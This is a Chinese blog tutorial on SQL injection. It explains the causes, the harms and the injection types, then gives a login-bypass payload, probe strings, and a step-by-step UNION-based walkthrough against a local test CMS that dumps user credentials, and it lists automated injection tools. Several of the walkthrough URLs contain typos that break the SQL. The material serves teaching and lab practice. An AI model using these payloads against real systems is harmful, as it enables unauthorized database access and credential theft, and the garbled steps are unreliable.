SQL注入

最新推荐文章于 2024-04-24 21:28:53 发布
最新推荐文章于 2024-04-24 21:28:53 发布
阅读量1.7k 收藏 3
点赞数
文章标签： sql 数据库 php 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_31088019/article/details/126154958
版权

一.什么是SQL注入漏洞

攻击者利用Web应用程序对用户输入验证上的疏忽，在输入的数据中包含对某些数据库系统有特殊意义的符号或命令，让攻击者有机会直接对后台数据库系统下达指令，进而实现对后台数据库乃至整个应用系统的入侵。

1.SQL注入原理

服务端没有过滤用户输入的恶意数据，直接把用户输入的数据当做SQL语句执行，从而影响
数据库安全和平台安全。
两个条件
用户能够控制输入
原本程序要执行的SQL语句，拼接了用户输入的恶意数据
在这里插入图片描述

2.危害

绕过登录验证：使用万能密码登录网站后台等
获取敏感数据：获取网站管理员帐号、密码等
文件系统操作：列目录，读取、写入文件等
注册表操作：读取、写入、删除注册表等
执行系统命令：远程执行命令

3.案例

通过在用户名处传入参数 ’ or 1=1 – 进行万能密码登录

SELECT username, password FROM users WHERE username='textvalue'or 1=1 -- ' AND password='textvalue2'
（注意：--后面有一个空格）
 输入字符
formusr =' or 1=1 --
formpwd = anything
 实际的查询代码
SELECT * FROM users WHERE username ='' or 1=1 -- AND password = 'anything'

判断一个HTTP请求是否存在SQL注入的方式

经典：and 1=1 | and 2 > 1 | or 1=1 | or 1<1
数据库函数：sleep(4)=1 | length(user())>3
特殊符号：单引号（’） 双引号（”）

二.SQL注入分类

按照注入点类型分类
数字型（整型）注入
字符型注入
搜索型注入
按照注入技术（执行效果）分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
联合查询注入
堆查询注入

1.数字型（整型）注入

输入的参数为整数，如ID、年龄、页码等，如果存在注入型漏洞，则为数字型（整型）
注入
http://www.testweb.com/user.php?id=8
实际查询代码原型诸如： select … from … where id=$id …
测试方法：
在这里插入图片描述

2.字符型注入

输入的参数为字符串
与数字型注入的区别在于：字符型注入一般要使用单引号来闭合
http://www.testweb.com/test.php?user=admin
实际查询代码原型诸如：select … from … where id=‘$id’ …
测试方法：在这里插入图片描述

3.搜索型注入

这类注入主要是指在进行数据搜索时没过滤搜索参数，一般在链接地址中
有 “keyword=关键字”，有的不显示链接地址，而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句，其原型大致为：
select * from 表名 where 字段 like ‘%关键字%’
当我们提交注入参数为keyword=‘and[查询条件] and ‘%’=’，则向数据库提交的SQL语句为：
select * from 表名 where 字段 like ‘%’ and [查询条件] and ‘%’=‘%’

4.按照注入技术（执行效果）分类

基于布尔的盲注
即可以根据返回页面判断条件真假的注入。
基于时间的盲注
即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。
基于报错的注入
即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。
联合查询注入
可以使用union的情况下的注入。
堆查询注入
同时执行多条语句的注入。

三.SQL注入漏洞形成的原因

动态字符串构建引起

不正确的处理转义字符（宽字节注入）
不正确的处理错误（报错泄露信息）
不正确的处理联合查询
不正确的处理多次提交（二次注入）

后台存在的问题

后台无过滤或者编码用户数据
数据库可以拼接用户传递的恶意代码

错误处理不当

详细的内部错误消息显示给用户或攻击者
错误信息可以直接给攻击者提供下一步攻击帮助

不安全的数据库配置

默认账户

SQL Server“sa”作为数据库系统管理员账户；
MySQL使用“root”和“anonymous”用户账户；
Oracle则在创建数据库时通常默认会创建SYS、SYSTEMS DBSNMP和OUTLN账户。

权限

问题：系统和数据库管理员在安装数据库服务器时允许以roots SYSTEM或Administrator特权系统用户账户身份执行操作。
正确方法：应该始终以普通用户身份运行服务器上的服务，降低用户权限，将用户权限只限于本服务。

四.寻找SQL注入点

GET方法

一种请求服务器的HTTP方法，使用该方法时，信息包含在URL中
点击一个链接时，一般会使用该方法

GET请求方法的格式

?text=value1&cat=value2&num=value3…

修改方法

浏览器的导航栏中直接修改即可操纵这些参数
HackBar插件

POST方法

POST是一种用于向Web服务器发送信息的HTTP方法
数据信息无法在URL中看到
可以发送字节大的数据
POST /sqli -labs-master/Less-11/ HTTP/1.1
Host: 123.59.116.191
User- Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10.12; rv:57.0) Gecko/ 20100101 Firefox/ 57.0
Content-Type: application/ x-www- form- urlencoded
Content-Length: 43
Connection: close
Upgrade-Insecure-Requests: 1

uname=w3g43we&passwd=h64j4wj5&submi t=Submit

修改POST包方法

浏览器修改扩展（Hackbar）
代理服务器（Burpsuite）
在这里插入图片描述

其它注入点数据

Cookie
Host
User-Agent

关于注入点的总结

只要后台接收前端输入的数据，并且未对数据进行过滤处理，最后直接进入到数据
库中，从而都能构成威胁。

五.SQL注入的过程

手工注入过程
1 判断是否存在注入点；
2 判断字段长度（字段数）；
3 判断字段回显位置；
4 判断数据库信息；
5 查找数据库名；
6 查找数据库表；
7 查找数据库表中所有字段以及字段值；
8 猜解账号密码；
9 登录管理员后台。

手工注入实例

目标靶机：某CMS网站
➢典型应用场景：Web页面对于用户输入有回显及报错
注入方式：基于联合查询（union select）的注入方法
步骤1：判断注入点
http://127.0.0.1/cms/show.php?id=33 and 1=1
http://127.0.0.1/cms/show.php?id=33 and 1=2
步骤2：判断字段长度
http://127.0.0.1/cms/show.php?id=33 oder by 15
http://127.0.0.1/cms/show.php?id=33 oder by 16
步骤3：判断回显位置
http://127.0.0.1/cms/show.php?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
步骤4：判断数据库信息
http://127.0.0.1/cms/show.php?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15
步骤5：查找数据库名
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.schemata
步骤6：查找数据库表
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=‘cms’
步骤7：查找数据库表中所有字段
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,grop_concat(convert(schema_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=‘cms’ and table_name=‘cms_users’
步骤8：查找数据库表中所有字段的值
http://127.0.0.1/cms/show.php?id=33 and 1=2 1,2,concat_ws(‘,’,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users
在这里插入图片描述

步骤9：猜解账号密码
在这里插入图片描述

步骤10：登录数据库后台

自动化注入工具

1 SQL注入工具
Sqlmap Havij Sqlid
2 ASP\JSP注入工具
NBSI 阿D注入软件 明小子注入软件
3 PHP注入工具
穿山甲注入软件 海阳顶端注入软件

朵拉不会敲代码
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
JAVA代码审计之SQL注入
05-20
本章节课程主要从以下三方面详细的介绍了如何针对java代码中sql注入的审计方法及黑盒验证：1、JDBC连接方式下sql注入的存在的形态及修复方法，like、in情况在如何安全使用预处理来防范sql注入2、在使用Mybatis框架下如何审计sql注入代码，并详细的介绍了如何编写安全的数据库查询语句。3、在使用Hibernate框架下如何审计sql注入代码。并详细介绍了如何编写安全的数据库查询语句。
MyBatis单表查询——参数占位符${}和#{}、SQL注入、like查询
LYJbao的博客
03-25 2018
目录前言： 1、参数占位符：${}和#{}2、SQL注入 3、${}的优点小结：$ VS #：4、like查询 解决方案，使用MySQL的内置函数concat()来处理 以下文章，对于没有接触过Mybatis的小伙伴来说，需要看完这篇文章才可以继续向下执行：http://t.csdn.cn/nGTFZ其次，我们为了更好地观察出现的问题，可以在配置文件中，配置打印MyBatis的执行SQL: 1、参数占位符：${}和#{} 我们在mapper的.xml文件中，进行数据库的SQL语句编
SQL中，like的SQL注入防止，使用预编译SQL(?)的写法
sun0322
07-09 4531
mysql数据库 and indexNum like concat('%',?,'%')"
mysql中like会sql注入吗_like查询中的SQL注入
weixin_30725113的博客
01-19 1941
看《ibatis in action》，里面提到了使用like进行模糊查询的时候，会有注入漏洞。举例说明如下：Xml代码select*from tbl_schoolwhere school_name like '%$name$%'Java代码public List getSchoolByName(String name) throws DataAccessException {List list ...
在Like语句中的注入是指在使用Like语句进行模糊匹配时，由于未正确处理用户输入
BLOG域名:programb.blog.csdn.net
07-26 1100
在Like语句中，如果没有对用户输入进行适当的过滤和转义，攻击者可以通过在输入中插入特殊字符来改变查询的逻辑，从而绕过预期的过滤条件。在Like语句中的注入是指在使用Like语句进行模糊匹配时，由于未正确处理用户输入，导致恶意用户可以通过构造特定的输入来执行恶意操作或者获取敏感信息的一种安全漏洞。SQL 注入是一种攻击手段，攻击者通过在输入字段中插入或 “注入” 恶意的 SQL 代码，从而绕过应用程序的安全措施，执行非预期的 SQL 语句。语句时，如果不进行适当的处理，就可能会面临 SQL 注入的风险。
sql注入新玩法-like
lovelj的博客
01-20 2308
一、前言 最近发现一个比较有意思的sql语句，使用like但是没有使用模糊查询，却匹配出了所有的字段 二、学习 1、int 型 n_id存在且n_id=1 n_id存在且n_id=2 由上可知，当字段值类型未int时，字段值=1 like 1(表达式为Ture),即效果为n_id=1，字段值=1 like 2（表达式为False），即效果为n_id=0，mysql中列值从1开始，因此返回为空，n_id=666 ，n_id不存在；进一步验证猜想 ...
【MyBatis学习】占位符,sql注入问题,like模糊匹配等可能出现一定的问题,赶快与我一同去了解,避免入坑吧 ! ! !
m0_58097299的博客
06-17 2816
【MyBatis学习】占位符,sql注入问题,like模糊匹配等可能出现一定的问题,赶快与我一同去了解,避免入坑吧 ! ! !
Mybatis:SQL注入问题 like模糊查询 多表查询 动态SQL
weixin_65492194的博客
10-01 789
Mybatis:SQL注入问题 like模糊查询 多表查询 动态SQL
mysql中like语句注入_like查询中的SQL注入
weixin_39643865的博客
01-19 3784
list = schoolDao.getSchoolByName("长乐一中%' or '1%' = '1");for(School school : list){System.out.println(school.getName());}}catch(Exception e){e.printStackTrace();}}用p6spy查看最后生成的sql语句：Sql代码sql1：select *...
sql注入攻击流量情况
07-18
sql注入攻击流量情况
pangolinsdl—sql注入工具
06-20
pangolinsdl—sql注入工具 很好用的sql注入工具 界面简洁好用 使用方便
超级sql注入工具
11-02
超级SQL注入工具（SSQLInjection）是一款基于HTTP协议自组包的SQL注入工具，支持出现在HTTP协议任意位置的SQL注入，支持各种类型的SQL注入，支持HTTPS模式注入。 超级SQL注入工具目前支持Bool型盲注、错误显示注入、...
sql注入网站源码
04-09
挺好的带有sql注入漏洞的asp网站源码，可以自行搭建环境。
SQL 注入天书.pdf
08-06
SQL 注入学习天书
[SWPUCTF-2022-新生赛]ez_sql
liaochonxiang的博客
04-24 376
根据提示，POST传参得到假的flag。
SQL中top的使用
m0_57310426的博客
04-22 414
语法格式： SELECT TOP n PERCENT <列名表> FROM <表名> [查询条件]语法格式： SELECT TOP n <列名表> FROM <表名> [查询条件]其中，n为所返回的记录数所占结果集中记录数目的百分比数。1.介绍：查询最热门，最高的分的前几条数据。（2）返回结果集中指定百分比的记录数。其中，n为要返回结果集中的记录条数。2.查询成绩前10%的学生的信息。（1）返回确定数目的记录个数。1.查询成绩前十的学生的信息。
本地CPU搭建知识库大模型来体验学习Prompt Engineering/RAG/Agent/Text2sql
最新发布
caicongyang
04-24 825
本地CPU搭建知识库大模型来体验学习Prompt Engineering/RAG/Agent/Text2sql
Debezium分享系列之：Debezium2.6稳定版本设置SQL Server数据库
zhengzaifeidelushang的博客
04-24 51
为了让 Debezium 从 SQL Server 表捕获更改事件，具有必要权限的 SQL Server 管理员必须首先运行查询以在数据库上启用 CDC。然后，管理员必须为希望 Debezium 捕获的每个表启用 CDC。应用 CDC 后，它会捕获提交给启用了 CDD 的表的所有 INSERT、UPDATE 和 DELETE 操作。然后 Debezium 连接器可以捕获这些事件并将它们发送到 Kafka 主题。
【数据库】MySQL分页查询
学习笔记，人工智能，教程，技术分享！
04-19 622
比如：size=10那么, page 和 size 记录范围 和 起始记录索引值 limit。limit offset（开始记录索引,是从0开始的）,size（要取出的条数）；通用的分页查询写法(page:页数,size:每页显示的记录条数)记住每页的起始记录索引值：(page-1)*size。案例：（查询有奖金且工资最高的前10名的员工信息）案例：（查询第11条到第25条）2页：11-20条 10,10。案例：（查询前5条员工数据）1页： 1-10条 0,10。where ....等等。
postman sql注入
01-04
如果响应中包含SQL语法错误或其他与SQL注入相关的错误信息，那么说明存在SQL注入漏洞。 需要注意的是，Postman只是用于测试和验证API的工具，并不能直接修复或防止SQL注入漏洞。要修复和防止SQL注入漏洞，需要在...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

朵拉不会敲代码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值